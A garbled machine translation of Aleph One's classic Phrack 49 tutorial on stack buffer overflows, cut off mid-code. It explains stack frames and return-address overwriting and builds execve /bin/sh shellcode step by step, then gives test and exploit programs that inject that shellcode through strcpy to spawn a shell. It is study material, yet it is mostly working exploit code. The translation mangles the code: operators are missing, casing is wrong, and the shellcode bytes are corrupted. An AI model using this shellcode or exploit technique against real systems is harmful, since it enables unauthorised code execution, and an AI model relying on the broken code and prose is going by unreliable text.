Principle and practice of buffer overflow (phrack)

xiaoxiao2021-03-06  64

Title: Schematic and Practice of Buffer Spillies (Phrack)

Author: Sinbad return I want to comment

Sender: sinbad

Title: Principle and Practice of Buffer Spillies (Phrack)

Sending station: Sinbad (Fri Jun 15 08:31:09 2001)

.oo phrack 49 oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

Bugtraq, R00T, And Underground.org

Bring you

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Smashing The Stack for Fun and Profit

Trample in stack with entertainment and profit

(Principle and practice of buffer overflow)

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Originally by aleph one

Aleph1@underground.org

Translation xuzq@chinasafer.com

Www.chinasafer.com

'Trample stack' [C language program] n. In many C language implementations, it is possible to pass the write routine

The end of the array declared to destroy the executable stack. The so-called 'trample stack' uses

The code can cause the routine to return an exception, which jumps to any address. This has led to some extreme

Sanxious data related vulnerabilities (already known). Its variants include stack lamination (TRASH THE)

STACK, Scribble The Stack, Stack Destroy;

The term Mung The Stack is not used because this never deliberately caused. See SPAM?

Also see the vulnerability of the same name, the NC (Fandango on Core), memory leak (Memory

Leak), precedence lossage, thread slip, and Overrun Screw.

Conclude

~~~~~~~

In the past few months, the buffer overflow vulnerability to be discovered and utilized. For example, Syslog,

Splitvt, Sendmail 8.7.5, Linux / Freebsd Mount, XT Library, AT, etc. Try Now

Interpretation What is buffer overflow and how to use it.

The basic knowledge of compilation is required. The concept of virtual memory, and the experience of using GDB is very beneficial

, But not required. We also assume that the operating system is Linux using the Intel X86 CPU.

We give several basic definitions before the beginning: the buffer, simply coming is a continuous computer

The storage area can save multiple instances of the same data type. C Programmers usually deal with the word buffer array.

The most common is the character array. Array, like all variables in the C language, can be declared as static or dynamic

The static variable is positioned in the data segment when the program is loaded. The dynamic variable is positioned in the stack at the time of the program.

Overflow, it is bluntly filled, so that the contents exceed the top, edge, or boundary. We only care about

The overflow problem of the buffer, that is, the stack-based buffer overflow.

Process memory organizational form

~~~~~~~~~~~~~~~~~~~~

In order to understand what is a stack buffer, we must first understand that a process is in the form of organization.

The memory exists in memory. The process is divided into three areas: text, data and stack. We focus on the stack

Area, but first introduces other areas in order to briefly.

The text area is determined by the program, including code (instruction) and read-only data. This area is equivalent to executable

The text segment of the file. This area is usually marked as read-only, and any operations written in it will cause paragraph errors.

Segmentation Viology.

The data area contains data that have been initialized and not initialized. Static variables are stored in this area. Number

According to the Data-BSS segment in the executable of the executable. Its size can be changed by the system to call BRK (2).

If the BSS data expansion or user stack consumes the available memory, the process will be blocked, waiting to have

A larger memory space is run again. The new memory is added to the middle of the data and stack segments.

/ ------------------ / Memory low address | |

| Text |

| | |

| ------------------

| (Initialized) |

| Data |

| (Not initialized) |

| ------------------

| | |

| Stack |

| | |

/ ----------------- / Memory high address

Fig. 1 process memory area

What is a stack?

~~~~~~~~~~~~~

Stack is an abstract data type that is often used in computer science. The objects in the stack have a characteristic:

The last object in the stack is always first, which is often referred to as the next first (LIFO) queue.

Some operations are defined in the stack. Two most important thing is PUSH and POP. Push operation Add to one in the top of the stack

Elements. In contrast, the POP operation is removed from the top of the stack and minimizes the size of the stack.

Why use the stack?

~~~~~~~~~~~~~~~~

Modern computers are designed to understand advanced languages ​​in people's minds. When constructing programs using advanced language

The most important technology is the process of process and functions. From this point, a process call can be

Change the program's control process as the JUMP command, but is different from the jump, when the work is completed,

The function returns control to the statement or instructions after the call. This advanced abstraction is achieved by the help of the stack.

The stack is also used to dynamically allocate space used in the function, and the function is sent to the function transfer parameters and functions.

Return value also uses the stack.

Stack area

~~~~~~~~~~

The stack is a continuous memory for saving data. A register named stack pointer (SP) pointing to the top of the stack.

The bottom of the stack is in a fixed address. The size of the stack is dynamically adjusted by the kernel during runtime. CPU implementation instruction

PUSH and POP, add elements to the stack and remove elements from it.

The stack consists of a logical stack frame. When the call function is called, the logical stack frame is pressed into the stack, and the function is logical when the function returns.

The stack frame is popped up from the stack. The stack frame includes the parameters of the function, local variables of the function, and restore the previous stack

The data required for the frame, which includes the value of the instruction pointer (IP) when the function is called.

The stack can also grow down (to the memory low address) can also grow up, depending on the specific implementation.

In the examples, the stack is growing down. This is the implementation of many computers, including Intel, Motorola,

SPARC and MIPS processors. Stack pointers (sp) are also dependent on specific implementation. It can point to the last address of the stack,

Or point to the next idle available address after the stack. In our discussion, the SP points to the last address of the stack.

In addition to the stack pointer (SP pointing to the low address at the top of the stack), in order to use convenience, there is a point-to-frame fixed

The pointer of the address is called frame pointer (FP). Some articles are called local base pointers (LB-local base pointer).

In theory, local variables can be referenced by SP inclination. However, when there is a word being pressed and out of the stack, this

Some offsets have changed. Although the compiler can track the word operation in the stack, it can be corrected offset.

Quantity, but in some cases, it is not possible. In all cases, to introduce a considerable management overhead. And some

On machines, such as Intel processors, multiple instructions are required to access a variable from the SP mesh.

Therefore, many compilers use second registers, FP, can be referenced for local variables and function parameters,

Because their distance to FP will not be affected by PUSH and POP operations. In Intel CPU, BP (EBP) is used for this

Of a target. In the Motorola CPU, FP can be made in addition to any address register other than the A7 (Stack Pointer SP).

Considering the growth direction of our stack, starting from the position of the FP, the offset of the function parameters is positive, and the local

The offset of the variable is negative.

The first thing you must do when a routine is called is to save the previous FP (so when the routine is exited.

Restore). Then it copies the SP to the FP, create a new FP, move the SP forward as a local variable reserved space. This is called

The prologity of the routine. When the routine exits, the stack must be cleaned, this is called the end of the routine (Epilog) works. Intel's Enter and Leave instructions, Motorola's Link and Unlink Directions can be used. in

Effectively prelude and end.

Below we use a simple example to show the appearance of the stack:

EXAMPLE1.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

}

Void main () {

Function (1, 2, 3);

}

-------------------------------------------------- ----------------------------

In order to understand what is done when calling function (), we compile the GCC -s option to produce

Give profile code output:

$ GCC -S -O EXAMPLE1.S EXAMPLE1.C

By viewing assembly language output, we see that the call to function () is translated:

Pushl $ 3

Pushl $ 2

Pushl $ 1

Call function

Press the three parameters of the Function into the stack in order from the previous order, and then call function (). Instruction CALL

The instruction pointer (IP) will also be pressed into the stack. We call this saved ip as the return address (RET). In the function

The first thing is the prelude work of routines:

Pushl% EBP

MOVL% ESP,% EBP

SUBL $ 20,% ESP

Press the frame pointer EBP into the stack. Then copy the current SP to EBP, make it a new frame pointer. We put this

Saved FP is called SFP. Next, the value of the SP is reduced, and the space is reserved for local variables.

We must keep in mind that memory can only be addressed in words. One word here is 4 bytes, 32 bits. So 5 bytes

The buffer will occupy the memory space of 8 bytes (2 words), and 10 bytes of buffers will take up 12 bytes (3 words)

Memory space. This is why SP has to lose 20. So we can imagine function () when it is called.

Stack of appearances (each space represents a byte):

Memory low address memory high address

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Stack top stack bottom

Buffer overflow

~~~~~~~~~~~~

The buffer overflow is the result of filling a buffer exceeding the data that exceeds its processing capabilities. How to use this

Often programming errors to perform any code? Let's take a look at another example:

EXAMPLE2.C

-------------------------------------------------- ----------------------------

Void function (char * str) {

Char buffer [16];

STRCPY (BUFFER, STR);

}

Void main () {

CHAR LARGE_STRING [256];

INT I;

For (i = 0; i <255; i )

Large_string [i] = 'a';

Function (large_string);

}

-------------------------------------------------- -------------------------- The function of this program contains a typical memory buffer encoding error. This function does not perform border check

The string provided, incorrectly uses strcpy () without using Strncpy (). If you run this program

Segment error will be generated. Let us look at the appearance of the stack when calling the function:

Memory low address memory high address

Buffer SFP RET * STR

<------ [] [] [] []

Stack top stack bottom

What happened here? Why do we get a paragraph error? The answer is simple: strcpy () will * STR

Content (Larger_String []) Copy to buffer [] until an empty character is hit in the string. Obviously,

Buffer [] is much smaller than * STR. Buffer [] only 16 bytes long, and we try to fill 256 bytes in the inside

The content. This means that 250 bytes in the stack are all overwhelmed after Buffer. Including SFP, RET, and even * STR!

We have filled Large_String all filled into A. A of the hexadecimal value of 0x41. This means now return

The site is 0x41414141. This has been outside the address space of the process. When the function returns, the program tries to read the return.

The next instruction of the address, at this time we get a paragraph error.

So the buffer overflow allows us to change the return address of the function. This allows us to change the execution process of the program.

Now returning to the first example, recalling the appearance of the stack at the time:

Memory low address memory high address

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Stack top stack bottom

Now try to modify our first example, let it override the return address, and make it execute any code.

In the stack in Buffer1 [], it is SFP, and SFP is back to the address. RET is four from the end of buffer1 []

Bytes. It should be remembered that buffer1 [] is actually two words, 8 bytes long. So return the address from buffer1 []

The head calculates 12 bytes. We will use this method to modify the return address, skip the function calls later assignment statement

'x = 1;', in order to do this, we add 8 bytes. The code looks like this:

EXAMPLE3.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

INT * RET;

Ret = buffer1 12;

(* RET) = 8;

}

Void main () {

INT X;

X = 0;

Function (1, 2, 3);

X = 1;

Printf ("% d / n", x);

}

-------------------------------------------------- ----------------------------

We add the address of buffer1 [] 12, the resulting new address is where the address is returned. We want to skip the assignment statement and directly execute the PrintF call. How do you know that you should return to 8 bytes? We previously used

After a test value (such as 1), compile the program, the tool GDB:

-------------------------------------------------- ----------------------------

[ALEPH1] $ GDB EXAMPLE3

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000490

: pushl% EBP

0x8000491

: MOVL% ESP,% EBP

0x8000493

: SUBL $ 0x4,% ESP

0x8000496

: MOVL $ 0x0, 0xfffffffc (% EBP)

0x800049D

: Pushl $ 0x3

0x800049f

: Pushl $ 0x2

0x80004A1

: Pushl $ 0x1

0x80004A3

: Call 0x8000470

0x80004A8

: AddL $ 0xc,% ESP

0x80004AB

: MOVL $ 0x1, 0xfffffffc (% EBP)

0x80004B2

: MOVL 0xffffffc (% EBP),% EAX

0x80004B5

: pushl% EAX

0x80004B6

: pushl $ 0x80004F8

0x80004BB

: Call 0x8000378

0x80004c0

: Add1 $ 0x8,% ESP

0x80004C3

: MOVL% EBP,% ESP

0x80004c5

: POPL% EBP

0x80004C6

: RET

0x80004c7

: NOP

-------------------------------------------------- ----------------------------

We see when invoing Function (), RET will be 0x8004a8, we want to skip the assignment instructions in 0x80004ab. The next instruction you want to execute is 0x8004b2. Simple calculation tells us that the distance between the two instructions is 8 bytes.

Shell Code

~~~~~~~~~~

Now we can modify the return address to change the process of execution, what do we want to do?

In most cases, we just want the program to give birth to a shell. From this shell, you can execute anyone

What you want. But what if we don't have this code in the program we try to crack?

How can I put any instructions in the address space of the program? The answer is to put the code you want to execute.

We want to overflow the buffer and override the return address of the function to point to this buffer. Assume the stack

The starting address is 0xFF, and S represents the code we want to execute, the stack looks like this:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address

Buffer SFP RET A B C

<------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03]

^ | |

| ____________________________ |

Stack top stack bottom

The C language code that is derived from a shell is like this:

shellcode.c

-------------------------------------------------- ---------------------------

#include

Void main () {

Char * name [2];

Name [0] = "/ bin / sh";

Name [1] = NULL;

Execve (Name [0], Name, NULL);

}

-------------------------------------------------- ----------------------------

In order to find out what it is like this program, we compile it, then sacrifies the debug tool GDB. Remember

Use the -static flag when compiling, otherwise the real code of the system calls Execve will not include in the assembly,

Instead, a reference to the dynamic C language library, the real code is to be coupled when the program is loaded.

-------------------------------------------------- ----------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[ALEPH1] $ GDB shellcode

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main: 0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

0x8000144

: Pushl $ 0x0

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

0x8000149

: pushl% EAX

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

0x800014D

: pushl% EAX

0x800014e

: CALL 0x80002BC <__ EXECVE>

0x8000153

: addl $ 0xc,% ESP

0x8000156

: MOVL% EBP,% ESP

0x8000158

: POPL% EBP

0x8000159

: RET

End of assembler dump.

(GDB) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

0x80002CE <__ execve 18>: int $ 0x80

0x80002d0 <__ execve 20>: MOVL% EAX,% EDX

0x80002d2 <__ execve 22>: Testl% EDX,% EDX

0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>

0x80002d6 <__ execve 26>: NEGL% EDX

0x80002d8 <__ execve 28>: Pushl% EDX

0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: POPL% EDX

0x80002df <__ execve 35>: MOVL% EDX, (% EAX)

0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX

0x80002e6 <__ execve 42>: POPL% EBX

0x80002e7 <__ execve 43>: MOVL% EBP,% ESP

0x80002e9 <__ execve 45>: POPL% EBP

0x80002ea <__ execve 46>: RET

0x80002eb <__ execve 47>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

Let's take a look at what happened here. First start research from main:

-------------------------------------------------- ----------------------------

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

This is the preparation of routines. First save the old frame pointer, use the current stack pointer as a new frame pointer,

Then keep space for local variables. Here is:

Char * name [2];

That is, two pointers of the string. The length of the pointer is a word, so it retains 2 words (8 bytes)

space.

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

We copied 0x80027B8 (string "/ bin / sh") this value to the first pointer in Name [], this

Equivalent to:

Name [0] = "/ bin / sh";

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

We copy value 0x0 (null) to the second pointer in Name [], which is equivalent to:

Name [1] = NULL;

Reactive call to execve () begins with below:

0x8000144

: Pushl $ 0x0

We put the parameters of Execve () in the stack in the backward order, starting from NULL.

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

Place the address of the Name [] in the EAX register.

0x8000149

: pushl% EAX

Then press the Name [] address in the stack.

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

Put the address "/ bin / sh" address in the EAX register

0x800014D

: pushl% EAX

Then, put the string "/ bin / sh" address in the stack 0x800014e

: Call 0x80002bc <__ execve>

Call the library routine execve (). This call instruction presses the IP (instruction pointer) into the stack.

-------------------------------------------------- ----------------------------

Now to Execve (). Note that we use Intel-based Linux system. The details of the system call

The operating system and the CPU are different. Some put the parameters into the stack, some save it in the register. Some use

Soft interrupt jump into the kernel mode, some use far call. Linux saves the parameters sent to the system call

In the register, and use a soft interrupt to jump into the kernel mode.

-------------------------------------------------- ----------------------------

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

Preparation of routines.

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

Put 0xB (decimal 11) into the register EAX (original text). 0xB is the index of the system call table

11 is Execve.

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

Place the address of "/ bin / sh" in the register EBX.

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

Place the address of the Name [] in the register ECX.

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

Place the address of the empty pointer into the register EDX.

0x80002CE <__ execve 18>: int $ 0x80

Enter the kernel mode.

-------------------------------------------------- ----------------------------

It can be seen that there is nothing more job to do, and all things to do are summarized as follows:

a) Place the string "/ bin / sh" ending with NULL to somewhere.

b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)

.

c) Put 0xB in the register EAX.

d) Place the address of the string "/ bin / sh" to the register EBX.

e) Place the address of the string "/ bin / sh" address to the register ECX.

(Note: Original D and E step reverse EBX and ECX)

f) Place the address of the empty word into the register EDX.

g) Execute the instruction Int $ 0x80.

But if the execve () calls for some reason, what is the failure? The program will continue to read the instruction from the stack.

At this time, the stack may contain a random data! The program performs such an instruction for ten eight-nine will be dump. If Execv

e

Call failed us still want the program to be cleanly exited. To this end, add an exit after calling Execve

System call. EXIT system calls look like what is the assembly language?

Exit.c

-------------------------------------------------- ----------------------------

#include

Void main () {

exit (0);

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exit -static exit.c

[ALEPH1] $ GDB EXIT

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ...

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034C <_exit>: Pushl% EBP

0x800034D <_exit 1>: MOVL% ESP,% EBP

0x800034F <_exit 3>: pushl% EBX

0x8000350 <_exit 4>: MOVL $ 0x1,% EAX

0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX

0x8000358 <_exit 12>: INT $ 0X80

0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX

0x800035D <_exit 17>: MOVL% EBP,% ESP

0x800035f <_exit 19>: POPL% EBP

0x8000360 <_exit 20>: RET

0x8000361 <_exit 21>: NOP

0x8000362 <_exit 22>: NOP

0x8000363 <_exit 23>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

The system calls EXIT will put the 0x1 in the register EAX, place an exit code in EBX, and perform "INT 0x80".

Just these! Most applications returns 0 when exiting, indicating that there is no error. We also put them in EBX.

The steps in our construct shell code are this:

a) Place the string "/ bin / sh" ending with NULL to somewhere.

b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)

.

c) Put 0xB in the register EAX.

d) Place the address of the string "/ bin / sh" to the register EBX.

e) Place the address of the string "/ bin / sh" address to the register ECX.

(Note: Original D and E step reverse EBX and ECX)

f) Place the address of the empty word into the register EDX.

g) Execute the instruction INT $ 0x80.h) Put 0x1 in the register EAX.

i) Place 0x0 in the register EAX.

j) Execute the instruction Int $ 0x80.

Try to turn these steps into assembly language, put the string behind the code. Don't forget to put on the string behind the array

Address and empty words, we have the following code:

-------------------------------------------------- ----------------------------

MOVL STRING_ADDR, STRING_ADDR_ADDR

MOVB $ 0x0, NULL_BYTE_ADDR

Movl $ 0x0, NULL_ADDR

MOVL $ 0XB,% EAX

MOVL STRING_ADDR,% EBX

LEAL STRING_ADDR,% ECX

LEAL NULL_STRING,% EDX

INT $ 0x80

MOVL $ 0x1,% EAX

MOVL $ 0x0,% EBX

INT $ 0x80

/ BIN / SH STRING GoES here.

-------------------------------------------------- ----------------------------

The problem is that we don't know in the memory space of the program to be cracked, the above code (and the backend) will be put

Where. One solution is to use JMP and CALL instructions. JMP and Call instructions use relative IP addressing methods,

It is to say that we can jump to a certain location where the current IP is always spacing, and it is not necessary to know the exact location in the memory.

Address. If we put a call instruction before the string "/ bin / sh" and turn it on a CALL instruction by a JMP instruction.

When the CALL is executed, the address of the string is pressed into the stack as the return address. What we need is

Place the return address in a register. The CALL instruction only calls our above the code described. Assume J Generation

Table JMP instructions, C represents the CALL instruction, S represents a string, and the execution process is as follows:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address

Buffer SFP RET A B C

<------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03]

^ | ^ ^ | |

||| _____________ || ____________ | (1)

(2) || _____________ ||

| ______________ | (3)

Stack top stack bottom

Use the above correction methods and use relative index addressing, the number of the bytes of each instruction in our code is as follows:

-------------------------------------------------- ----------------------------

JMP offset-to-call # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, Array-Offset (% ESI) # 3 bytes

Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes

Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal Array-Offset (% ESI),% ECX # 3 bytesleal null-offset (% ESI),% EDX # 3 BYTES

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call offset-to-popl # 5 bytes

/ BIN / SH STRING GoES here.

-------------------------------------------------- ----------------------------

By calculating from JMP to CALL, from Call to POPL, from the string address to an array, from the string address to the empty word

Garage, we get:

-------------------------------------------------- ----------------------------

JMP 0x26 # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% esi) # 4 bytes

MOVL $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2b # 5 bytes

.string / "/ bin / sh /" # 8 bytes

-------------------------------------------------- ----------------------------

This looks very good. To ensure that the code can work properly, you must compile and execute. But there is still a problem.

Our code modifies itself, but most operating systems mark the code page as read-only. In order to bypass this limit

The code to be executed must be put in the stack or data segment, and the control is transferred there. To this, you should put the code to the number

According to the global array in the segment. We first need the binary code indicated by 16 credits. First compile, then use GDB

Come to get binary code.

Shellcodeasm.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x2a # 3 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% ESI) # 4 bytesmovl $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2f # 5 bytes

.string / "/ bin / sh /" # 8 bytes

");

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[ALEPH1] $ GDB Shellcodeasm

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: jmp 0x800015f

0x8000135

: POPL% ESI

0x8000136

: MOVL% ESI, 0x8 (% ESI)

0x8000139

: MOVB $ 0x0,0x7 (% ESI)

0x800013D

: MOVL $ 0x0,0xc (% ESI)

0x8000144

: MOVL $ 0XB,% EAX

0x8000149

: MOVL% ESI,% EBX

0x800014B

: LEAL 0x8 (% ESI),% ECX

0x800014e

: LEAL 0XC (% ESI),% EDX0X8000151
: int $ 0x80

0x8000153

: MOVL $ 0x1,% EAX

0x8000158

: MOVL $ 0x0,% EBX

0x800015D

: INT $ 0X80

0x800015F

: Call 0x8000135

0x8000164

: DAS

0x8000165

: boundl 0x6e (% ECX),% EBP

0x8000168

: DAS

0x8000169

: jae 0x80001d3 <__ new_exitfn 55>

0x800016B

: addb% cl, 0x55C35DEC (% ECX)

End of assembler dump.

(GDB) x / bx main 3

0x8000133

: 0xeb

(GDB)

0x8000134

: 0x2a

(GDB)

.

.

.

-------------------------------------------------- ----------------------------

Testsc.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"

"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"

"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF"

"/ xff / x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / XEC / X5D / XC3";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc Testsc.c

[aleph1] $ ./testsc

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

It became! But there is still an obstacle, in most cases, we all try to overflow a character buffer.

Then any NULL byte in our shellcode is considered to be the end of the string, and the copy work is here.

Stop. For our cracking, there is no null byte in shellcode. Below these bytes, simultaneously streamize the code.

Problem Instruction: Substitution with:

-------------------------------------------------- --------

MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX

Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xc (% ESI)

-------------------------------------------------- --------

MOVL $ 0XB,% EAX MOVB $ 0XB,% Al

-------------------------------------------------- --------

MOVL $ 0x1,% EAX XORL% EBX,% EBX

MOVL $ 0x0,% EBX MOVL% EBX,% EAX

INC% EAX

-------------------------------------------------- --------

Our IMPROVED CODE:

Shellcodeasm2.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x1f # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

XORL% EBX,% EBX # 2 Bytes

MOVL% EBX,% EAX # 2 bytes

INC% EAX # 1 bytes

INT $ 0x80 # 2 bytes

Call -0x24 # 5 bytes

.string / "/ bin / sh /" # 8 bytes

# 46 bytes Total

");

}

-------------------------------------------------- ----------------------------

And Our New Test Program:

Testsc2.c

-------------------------------------------------- ---------------------------- CHAR shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc2 Testsc2.c

[aleph1] $ ./testsc2

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

Crack

~~~~~~~~~~

Now put the tools of your hand ready. We already have shellcode. We know that shellcode must be

Part of the overflowed string. We know that the return address must be referred to back to the buffer. The following example explains these points:

OVERFLOW1.C

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Char large_string [128];

Void main () {

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i )

* (long_ptr i) = (int) BUFFER;

For (i = 0; i

Large_string [i] = shellcode [i];

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

$ EXIT

exit

[aleph1] $

-------------------------------------------------- --------------------------- As shown, we fill the Large_String [] array with buffer [], and shellcode will in

Buffer []. Then we copy shellcode to the beginning of the large_string string. Strcpy () does not make

He border check copies large_string to the buffer and overrides the return address. Now return address

It is our starting position of our shellcode. Once execute to the end of the main function, you will jump to me when trying to return.

A shell is obtained in the shellcode.

What we face is: How to determine this when trying to overflow another program's buffer overflow

Where is the address of the buffer (will have our shellcode)? The answer is: for each program, the start address of the stack

They are all identical. Most programs do not press into the stack into a hundred thousand bytes of data. So I know the stack.

The start address, we can try to guess this buffer that makes it overflowing. The following applet will print

Its stack pointer:

Sp.c

-------------------------------------------------- ----------------------------

Unsigned long get_sp (void) {

